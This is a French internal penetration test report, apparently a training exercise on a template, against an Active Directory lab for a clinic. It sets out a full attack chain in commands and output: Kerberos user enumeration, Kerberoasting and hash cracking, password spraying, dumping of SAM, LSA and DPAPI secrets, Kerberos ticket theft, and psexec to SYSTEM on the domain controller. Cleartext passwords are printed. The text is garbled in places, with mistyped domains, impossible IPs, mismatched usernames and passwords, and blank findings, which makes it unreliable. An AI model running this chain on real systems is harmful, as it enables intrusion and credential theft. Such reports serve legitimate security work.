

# Rapport du pentest

Client : Clinique de Frontignan

Auditeur : DUBRAY Gauthy

## I. Contexte et périmètre

*Fixez le contexte ainsi que le périmètre du pentest que vous allez réaliser.*

Auditeur indépendant spécialisé dans la sécurité des environnements Windows et plus particulièrement des infrastructures Active Directory, j'ai été sollicité par M. Nicolas Turing, Directeur des Systèmes d'Information de la Clinique de Frontignan.

Cette prise de contact, réalisée via une relation professionnelle commune, avait pour objectif de conduire un test d'intrusion interne afin d'évaluer le niveau de sécurité du système d'information et d'identifier d'éventuelles vulnérabilités pouvant compromettre l'intégrité, la confidentialité ou la disponibilité des ressources critiques.

La mission s'inscrit dans une démarche proactive visant à renforcer la cybersécurité de l'établissement de santé, dans un contexte où les attaques contre le secteur médical sont en constante augmentation.

L'audit de sécurité a été réalisé depuis le réseau interne de la clinique, sur le périmètre suivant :

**Réseau cible : 10.250.0.0/24**

- Machines présentes et analysées au sein du réseau :
- **10.250.0.101 — DC01** : Contrôleur de domaine Active Directory
- **10.250.0.112 — FILER01** : Serveur de fichiers
- **10.250.0.117 — DESKTOP01** : Poste de travail utilisateur

Bien que l'ensemble du réseau 10.250.0.0/24 ait été inclus dans le périmètre, seules ces trois machines étaient actives et détectées durant la phase de reconnaissance.

## II. Méthodologie

*Résumez la méthodologie que vous allez appliquer pour effectuer le pentest*

Le test d'intrusion interne a été conduit selon une approche structurée, inspirée des bonnes pratiques du PTES (Pénétration Testing Execution Standard) et orientée spécifiquement vers l'analyse de la sécurité d'un environnement Active Directory.

La méthodologie appliquée s'est décomposée en plusieurs phases :

- Reconnaissance et cartographie du réseau
- Énumération des services et de l'infrastructure de l'AD
- Compromission d'un premier compte
- Mouvement latéral et élévation de privilèges

### III. Déroulé du pentest

#### A. Énumération

- *Listez l'ensemble des tests permettant l'énumération de l'environnement Active Directory du client.*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*
- *Annotez l'ensemble des découvertes sur le réseau.*

L'étape d'énumération a été réalisée après la phase de reconnaissance initiale, afin d'identifier les services exposés, les rôles des machines et les potentielles surfaces d'attaque exploitables au sein du domaine **travers.ic**.

Un scan Nmap complet a été exécuté sur l'ensemble du réseau 10.250.0.0/24 afin d'identifier les hôtes actifs et leurs services exposés .

```
sudo nmap -sV 10.250.0.0/24 -oN scanmapresults.txt
```

```
(kali㉿kali)-[~]
└─$ sudo nmap -sV 10.250.0.0/24 -oN scannampresults.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-24 09:58 UTC
Nmap scan report for 10.250.0.101
Host is up (0.011s latency).
Not shown: 986 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          (protocol 2.0)
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-24 09:58:48Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: travers.ic0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: travers.ic0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.95%I=7%D=11/24%Time=69242C59%P=x86_64-pc-linux-gnu%r(NUL
SF:L,36,"SSH-2\0-OpenSSH_for_Windows_9\.8\x20Win32-OpenSSH-GitHub\r\n");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Nmap scan report for 10.250.0.112
Host is up (0.011s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
22/tcp    open  ssh          (protocol 2.0)
20/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.95%I=7%D=11/24%Time=69242C59%P=x86_64-pc-linux-gnu%r(NUL
SF:L,36,"SSH-2\0-OpenSSH_for_Windows_9\.8\x20Win32-OpenSSH-GitHub\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
Nmap scan report for 10.250.0.117
Host is up (0.011s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          (protocol 2.0)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.95%I=7%D=11/24%Time=69242C59%P=x86_64-pc-linux-gnu%r(NUL
SF:L,36,"SSH-2\0-OpenSSH_for_Windows_9\.8\x20Win32-OpenSSH-GitHub\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 29.79 seconds
```

De plus la commande crackmapexec a été utilisée  
crackmapexec smb 10.250.0.0/24

```
[kali㉿kali)-~] $ crackmapexec smb 10.250.0.24
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB      10.250.0.101 445 DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:travers.ic) (signing:True) (SMBv1:False)
SMB      10.250.0.117 445 DESKTOP01  [*] Windows Server 2022 Build 20348 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False) (SMBv1:False)
NB       10.250.0.112 445 FILER01   [*] Windows Server 2022 Build 20348 x64 (name:FILER01) (domain:travers.ic) (signing:False) (SMBv1:False)
```

*Si vous trouvez des vulnérabilités dans l'environnement du client lors de cette étape, vous pouvez les noter ici. Vous pouvez ajouter des sections au besoin.*

Vulnérabilité V01 : Énumération Kerberos : Kerbrute (criticité moyenne)

Résumé de la vulnérabilité: Afin de vérifier l'existence de comptes utilisateurs dans le domaine travers.ic, un test d'énumération Kerberos a été effectué à l'aide de *Kerbrute*.

Pour cela j'ai fait un fichier users.txt avec des noms d'utilisateurs courant sur un domaine comme par exemple test,admin,quest etc..

J'ai lancé la commande suivante : kerbrute userenum --dc 10.250.0.101 -d traversic users.txt

```
[kali㉿kali)-[~]
$ sudo nano users.txt

[kali㉿kali)-[~]
# kerbrute userenum --dc 10.250.0.101 -d traversic users.txt
```

Versión: v1.0.3 (Beta6c1) - 11/24/25 - [Reportar Problema](#)

2025/11/24 13:04:23 > Using KDC(s):  
2025/11/24 13:04:23 > 12.250.0.121:88

```
2025/11/24 13:04:23 > [+] VALID USERNAME: administrator@travers.ic  
2025/11/24 13:04:23 > [+] VALID USERNAME: test@travers.ic  
2025/11/24 13:04:23 > Done! Tested 14 usernames (2 valid) in 0.030 seconds
```

### B. Compromission d'un premier compte

- Listez l'ensemble des tests permettant l'accès au premier compte sur l'environnement Active Directory du client.
  - Joignez des screenshots et la copie des différentes commandes utilisées.

Une énumération Kerberos a été réalisée afin d'identifier les comptes Active Directory possédant des Service Principal Names (SPN).

Ces comptes sont susceptibles d'être vulnérables à une attaque de type Kerberoasting, permettant de récupérer des tickets Kerberos chiffrés contenant un hash crackable hors-ligne. Le but était de faire une extraction de SPN exposés.

```
impacket-GetUserSPNs travers.1c/test:test -dc-ip 10.250.0.101  
-request
```

```
[+] Cache file is not found. Skipping..
skrbtgs123 dmerin\travers SQLServer1\travers.travers.sql [dmerin]15959457b4f1081bfc042fcf5fb081e5f29e9a449afac14ce2013088e864fc4be2056e99d97cc7bb0a9d77336c47748f17f2ed2c3e0cf05721f5fe3a388170c91f67d7780281e1f15953a3
$ SQL\SQLSERVICES dminr CN\Research Team,OU\Research,DC=travers,DC=ic 2025-10-08 11:07:29.210517 {never}
WWW\INTRANET02 web_svc CN\Service Accounts,OU\serviceAccounts,DC=travers,DC=ic 2025-10-08 11:07:33.788446 {never}
HOST\SQLNETVIEW tolicolas CN\Research Team,OU\Research,DC=travers,DC=ic 2025-10-08 11:08:20.366655 {never}

[+] Cache file is not found. Skipping..
skrbtgs123 dmerin\travers SQLServer1\travers.travers.sql [dmerin]15959457b4f1081bfc042fcf5fb081e5f29e9a449afac14ce2013088e864fc4be2056e99d97cc7bb0a9d77336c47748f17f2ed2c3e0cf05721f5fe3a388170c91f67d7780281e1f15953a3
$ SQL\SQLSERVICES dminr CN\Research Team,OU\Research,DC=travers,DC=ic 2025-10-08 11:07:29.210517 {never}
WWW\INTRANET02 web_svc CN\Service Accounts,OU\serviceAccounts,DC=travers,DC=ic 2025-10-08 11:07:33.788446 {never}
HOST\SQLNETVIEW tolicolas CN\Research Team,OU\Research,DC=travers,DC=ic 2025-10-08 11:08:20.366655 {never}
```

Puis par la suite le craquage du hash avec la commande suivante:  
hashcat -m 13100 hash.txt /usr/share/wordlist/rockyou.txt –force

*Si vous trouvez des vulnérabilités dans l'environnement du client lors de cette étape, vous pouvez les noter ici. Vous pouvez ajouter des sections au besoin.*

**Vulnérabilité V01** : Compte de service exposé au Kerberoasting (dmorin) permettant une compromission locale

**Résumé de la vulnérabilité:** Lors de l'énumération Active Directory, il a été constaté que le compte dmorin expose un Service Principal Name (SPN), rendant ce compte vulnérable à une attaque de type Kerberoasting.

Cette attaque permet d'obtenir un ticket Kerberos chiffré (TGS-REP) que l'on peut ensuite craquer hors-ligne, ce qui permet d'obtenir le mot de passe réel du compte sans générer de logs suspects sur le contrôleur de domaine.

L'exploitation de ce SPN exposé a permis de récupérer le hash Kerberos du compte dmorin, puis de le craquer avec succès. Le mot de passe obtenu a ensuite permis d'accéder en tant qu'administrateur local sur une machine du réseau interne

```
Optimizers applied:
[(kali㉿kali)-~]
$ crackmapexec smb 10.250.0.0/24 -u dmorin -p 'azertyuiop'
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing WINS protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB    10.250.0.101 445 DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:travers.ic) (signing:True) (SMBv1:False)
SMB    10.250.0.101 445 DC01      [*] travers.ic\dmorin:azertyuiop
SMB    10.250.0.112 445 FILER01   [*] Windows Server 2022 Build 20348 x64 (name:FILER01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB    10.250.0.117 445 DESKTOP01 [*] Windows Server 2022 Build 20348 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB    10.250.0.112 445 FILER01   [*] travers.ic\dmorin:azertyuiop
SMB    10.250.0.117 445 DESKTOP01 [*] travers.ic\dmorin:azertyuiop (Pwn3d!)

[(kali㉿kali)-~]
$ crackmapexec smb 10.250.0.0/24 -u web_svc -p 'P4ssw0rd'
SMB    10.250.0.101 445 DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:travers.ic) (signing:True) (SMBv1:False)
SMB    10.250.0.101 445 DC01      [*] travers.ic\web_svc:P4ssw0rd
SMB    10.250.0.112 445 FILER01   [*] Windows Server 2022 Build 20348 x64 (name:FILER01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB    10.250.0.117 445 DESKTOP01 [*] Windows Server 2022 Build 20348 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB    10.250.0.112 445 FILER01   [*] travers.ic\web_svc:P4ssw0rd
SMB    10.250.0.117 445 DESKTOP01 [*] travers.ic\web_svc:P4ssw0rd (Pwn3d!)

[(kali㉿kali)-~]
$ crackmapexec smb 10.250.0.117 -u dmorin -p 'azertyuiop' -x "whoami"
SMB    10.250.0.117 445 DESKTOP01 [*] Windows Server 2022 Build 20348 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB    10.250.0.117 445 DESKTOP01 [*] travers.ic\dmorin:azertyuiop (Pwn3d!)
SMB    10.250.0.117 445 DESKTOP01 [*] Executed command
traversic\dmorin

[(kali㉿kali)-~]
$ 
```

## C. Reconnaissance

- *Listez l'ensemble des tests permettant la reconnaissance de l'environnement Active Directory du client avec les premiers accès compromis*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*

Après compromission du compte dmorin et obtention d'un accès administrateur local sur la machine 10.250.0.117, une phase de post-exploitation a été réalisée afin de collecter davantage d'informations sensibles et d'identifier de nouveaux vecteurs d'attaque.

Commande utilisée :

impacket-secretsdump dmorin: 'azertyuiop'@10.250.0.117

Ce qui nous donne comme résultats : Extraction complète de la base SAM, Extraction des LSA Secrets et Extraction des identifiants de session (Cached Credentials)

De plus une analyse complète via le logiciel DonPAPI avec la commande suivante :

```
DonPAPI.py collect -t 10.250.0.117 -d travers.ic -u dmorin -p azertyuiop
```

```
[*] kali:[kali] ~ [+] DomPAPI [+] collecting +> 10.0.2.0.117 -d traversic -c -u domrion -p azertyuiop
[*] First time user detected, Creating home directory
[*] DomPAPI Version 2.1.0
[*] Output directory at /home/kali1/dompapi
[*] Loaded 1 targets
[*] Target IP: 10.0.2.0.117 available at /home/kali1/dompapi/recover/recover_1764265020
[+] 10.0.2.0.117 [*] Starting gathering creds
[*] Dumping SAM
[*] Saving remote system database
[*] Saving remote registry
[*] Downloading live SANS at C:\$ on filepath: %Users%Default\appData\Local\Temp\4986-0691-7273-8714.log
[*] Downloading live SANS at C:\$ on filepath: %Users%Default\appData\Local\Temp\4986-0691-7273-8714.log
[*] Could not dump SANS
[*] No access to dump SANS (maybe blocked by EDR)
[*] Gathering LSA
[*] Saving remote SECURITY database
[*] RegSave on filepath: ..\Users\Default\appData\Local\Temp\6994-9343-0434-1243.log
[*] RegSave on filepath: ..\Users\Default\appData\Local\Temp\6994-9343-0434-1243.log
[*] Got 5 LSAs secreted
[*] Dumping User and Machine masterkeys
[*] [DomPAPI] Got 6 masterkeys
[*] Gathering User and Machine certificates
[*] Dumping User Chromium Browsers
[*] Gathering Cloud credentials
[*] Gathering Local System and Credential Manager
[*] [Credential] [SYSTEM] Domain\batch\TaskScheduler\Task:{3E2C0F05-369F-452C-85FF-D15FC0B224E} - TRAVERSIC\angel.Vuln4b13
[*] Dumping User Firefox Browser
[*] Gathering development projects files
[*] Dumping Development projects vaults
[*] Gathering User askXbox credentials
[*] Gathering notepad backup files
[*] Gathering password managers files
[*] Gathering recent browser history files
[*] Dumping User RikNemo vaults
[*] Gathering recent files, desktop and download files
[*] Gathering recycle bin
[*] Dumping User vaults
[*] Dumping User vaults
[*] Gathering 4th secrets files
[*] Dumping VNC Credentials
[*] Dumping User and Machine Vaults
[*] Dumping User vaults
[*] Dumping User vaults
[*] Dumping Token Broker Cache
[*] Dumping WiFi profiles
[*] [*] Finished thread.
[*] DomPAPI finished for 1 targets.
DomPAPI running against 1 targets
[*] kali:[kali] ~
```

Les résultats principaux : Récupération de masterkeys et DPAPI secrets. Une tâche planifiée contenait un mot de passe en clair

( TRAVERSIC\anoel : Vuln3r4bl3 )

*Si vous trouvez des vulnérabilités dans l'environnement du client lors de cette étape, vous pouvez les noter ici. Vous pouvez ajouter des sections au besoin.*

Vulnérabilité V01 : Absence de protection LSA permettant le dump complet des secrets (SAM, LSA, DPAPI)

Résumé de la vulnérabilité: Le poste 10.250.0.117 n'est pas correctement durci.

Il permet l'utilisation d'outils de dumping de secrets comme Impacket-SecretsDump, permettant d'extraire :

- la base SAM (hashs locaux)
- les secrets LSA
- les clés DPAPI
- les credentials de session mis en cache
- Stockage d'un mot de passe en clair

Cette vulnérabilité expose directement les mots de passe locaux et de potentiels identifiants Active Directory.

#### D. Mouvement latéral et élévation de privilèges

- *Listez l'ensemble des tests permettant une élévation de privilèges ou un mouvement latéral au sein de l'environnement Active Directory du client.*
- *Joignez des screenshots et la copie des différentes commandes utilisées.*

L'extraction d'un mot de passe en clair depuis les secrets DPAPI a permis de compromettre un nouveau compte du domaine (anoel).

La possession de ces identifiants ouvre la possibilité d'établir un accès authentifié à d'autres machines du réseau, permettant ainsi la réalisation d'un mouvement latéral.

Cette étape vise à évaluer la propagation potentielle d'une compromission initiale au sein du système d'information.

```
[kali㉿kali]:~$ crackmapexec smb 10.250.0.0/24 -u anoel -p "Vuln3r4b13"
SMB      10.250.0.101  445  DC01          [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:travers.ic) (signing:True) (SNBv1:False)
SMB      10.250.0.101  445  DC01          [+] travers.ic\anoel\Vuln3r4b13
SMB      10.250.0.112  445  FILER01       [*] Windows Server 2022 Build 20348 x64 (name:FILER01) (domain:travers.ic) (signing:False) (SNBv1:False)
SMB      10.250.0.117  445  DESKTOP01     [*] Windows Server 2022 Build 20348 x64 (name:DESKTOP01) (domain:travers.ic) (signing:False) (SNBv1:False)
SMB      10.250.0.112  445  FILER01       [+] travers.ic\anoel\Vuln3r4b13 (PwnBDI!)
SMB      10.250.0.117  445  DESKTOP01     [+] travers.ic\anoel\Vuln3r4b13
```

Nous venons de faire un mouvement latéral vers la machine 10.250.112 avec le compte anoel/Vuln3r4bl3 avec un accès domain local.

Avec le logiciel lsassy nous avons une extraction des tickets kerberos de l'utilisateur rbertin dont nous savons ses droits d'admin sur le domaine TRAVERS.IC

```
[kali㉿kali:~/] $ crackmapexec smb 10.250.0.112 -u anoel -p 'Vuln3r4b13' --sessions
SMB      10.250.0.112    445    FILER01      [*] Windows Server 2022 Build 20348 x64 (name:FILER01) (domain:travers.ic) (signing:False) (SMBv1:False)
SMB      10.250.0.112    445    FILER01      [*] travers.ic\anoel\Vuln3r4b13 (Pwn3d!)
SMB      10.250.0.112    445    FILER01      [*] Enumerated sessions
SMB      10.250.0.112    445    FILER01      \\10.250.0.101          User:rbertin
SMB      10.250.0.112    445    FILER01      \\10.250.0.101          User:D01$
```

Ensuite nous allons procéder à la conversion du TGT en ccache pour permettre une authentification sans mot de passe

```
[kali㉿kali)-[~/config/lsassy/tickets]
$ cp ~/config/lsassy/tickets/TGT_TRAVERS.1C_rbertin_krbtgt_* rbertin.kirbi
cp: target 'rbertin.kirbi': Not a directory

[kali㉿kali)-[~/config/lsassy/tickets]
$ cp ~/config/lsassy/tickets/TGT_TRAVERS.1C_rbertin_krbtgt_TRAVERS.1C_137aa195_20251203012501.kirbi rbertin.kirbi

[kali㉿kali)-[~/config/lsassy/tickets]
$ [[200]ls -l rbertin.kirbi
zsh: bad pattern: ^[[200]ls

[kali㉿kali)-[~/config/lsassy/tickets]
$ ls -l rbertin.kirbi
-rw-r--r-- 1 kali kali 1415 Dec  2 15:31 rbertin.kirbi

[kali㉿kali)-[~/config/lsassy/tickets]
$ python3 /usr/share/doc/python3-impacket/examples/ticketConverter.py rbertin.kirbi rbertin.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

[kali㉿kali)-[~/config/lsassy/tickets]
$ ls -l rbertin.ccache
-rw-r--r-- 1 kali kali 1367 Dec  2 15:32 rbertin.ccache

[kali㉿kali)-[~/config/lsassy/tickets]
$
```

Et pour finir avec le ticket de l'utilisateur rbertin nous parvenons à nous connecter en session administrateur sur le domaine TRAVERS.1C

```
[kali㉿kali)-[~/config/lsassy/tickets]
$ python3 /usr/share/doc/python3-impacket/examples/psexec.py \
-k -no-pass TRAVERS.1C/rbertin@DC01.travers.1c

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on DC01.travers.1c.....
[*] Found writable share ADMIN$!
[*] Uploading file FmhSnub.exe
[*] Opening SVCManager on DC01.travers.1c.....
[*] Creating service OcDg on DC01.travers.1c.....
[*] Starting service OcDg.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.4171]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> █
```

```
C:\Users\Administrator\Desktop> whoami
nt authority\system
```

```
C:\Users\Administrator\Desktop> █
```

*Si vous trouvez des vulnérabilités dans l'environnement du client lors de cette étape, vous pouvez les noter ici. Vous pouvez ajouter des sections au besoin.*

Vulnérabilité V01 :

Résumé de la vulnérabilité:

#### IV. Résumé des vulnérabilités

*Listez l'ensemble des vulnérabilités remontées lors du pentest sous forme de tableau. Vous pouvez ajouter des sections au besoin.*

Vulnérabilité V01	Xxxxxxxxxx
Vulnérabilité V02	Xxxxxxxxxx
Vulnérabilité V03	Xxxxxxxxxx